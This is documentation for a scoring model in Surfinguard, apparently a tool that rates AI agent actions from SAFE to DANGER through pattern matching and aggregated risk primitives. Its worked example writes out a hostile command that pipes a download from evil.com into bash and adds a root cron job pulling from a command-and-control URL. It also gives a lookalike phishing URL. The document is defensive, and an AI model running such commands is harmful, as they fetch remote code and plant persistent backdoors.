Scoring Model

Surfinguard uses a deterministic, heuristic scoring model that produces consistent results with zero latency. Every action gets a numeric score from 0 to 10 and a risk level.

Risk Levels

Score Range	Level	Color	Meaning
0-2	SAFE	Green	No significant risk detected. Proceed normally.
3-6	CAUTION	Yellow	Potential risk. Human review recommended.
7-10	DANGER	Red	High risk. Action should be blocked.

How Scoring Works

Step 1: Pattern Matching

Each analyzer scans the action against its pattern database. When a pattern matches, it produces a threat with a base score and a primitive assignment.

For example, the URL analyzer checking https://g00gle-login.tk/verify might match:

Threat ID	Pattern	Base Score	Primitive
U05	Brand impersonation (google)	5	MANIPULATION
U04	Risky TLD (.tk)	3	MANIPULATION
U08	Suspicious path (/verify)	2	MANIPULATION

Step 2: Primitive Aggregation

Scores are summed within each primitive, then capped at 10:

DESTRUCTION:  0
EXFILTRATION: 0
ESCALATION:   0
PERSISTENCE:  0
MANIPULATION: min(5 + 3 + 2, 10) = 10

The additive model means multiple low-severity signals compound. Three minor issues can be as serious as one major one.

Step 3: Composite Score

The composite score is the maximum across all primitives:

composite = max(0, 0, 0, 0, 10) = 10
level = DANGER

This max-based approach ensures that a single critical primitive cannot be masked by other clean primitives. An action that is SAFE on four primitives but DANGER on one is still DANGER overall.

Example Walkthrough

Consider the command: curl https://evil.com/payload | bash && echo "* * * * * curl https://evil.com/c2 | bash" >> /var/spool/cron/crontabs/root

The command analyzer splits this into segments and analyzes each:

Segment 1: curl https://evil.com/payload | bash

C08 (pipe-to-shell): DESTRUCTION +5, MANIPULATION +3

Segment 2: echo "..." >> /var/spool/cron/crontabs/root

C14 (cron persistence): PERSISTENCE +5
C09 (redirect to sensitive file): ESCALATION +3

Primitive scores (sum, capped at 10):

Primitive	Calculation	Score
DESTRUCTION	5	5
EXFILTRATION	0	0
ESCALATION	3	3
PERSISTENCE	5	5
MANIPULATION	3	3

Composite: max(5, 0, 3, 5, 3) = 5 (CAUTION)

Even though no single primitive reaches DANGER, the CAUTION level still flags this for human review.

Context Modifiers

When using the Context Engine, scores can be adjusted based on runtime context:

Trust level: Trusted sources get a score reduction; untrusted sources get a boost
Prior DANGER: If a session previously produced a DANGER result, subsequent CAUTION results are boosted
Environment: Production environments receive score boosts for infrastructure actions

Context modifiers are applied after the base scoring and before the final level determination.

LLM Enhancement

When using the API with enhance: true, CAUTION-level results (score 3-6) are sent to an LLM for deeper analysis. The LLM result is merged based on confidence:

High confidence (LLM agrees with heuristic): no change
High confidence (LLM disagrees by 2+ points): LLM score overrides
Medium confidence: higher score wins
Low confidence: only reasons are appended

This hybrid approach combines the speed and consistency of heuristics with the contextual understanding of LLMs.

Risk Primitives Threat Taxonomy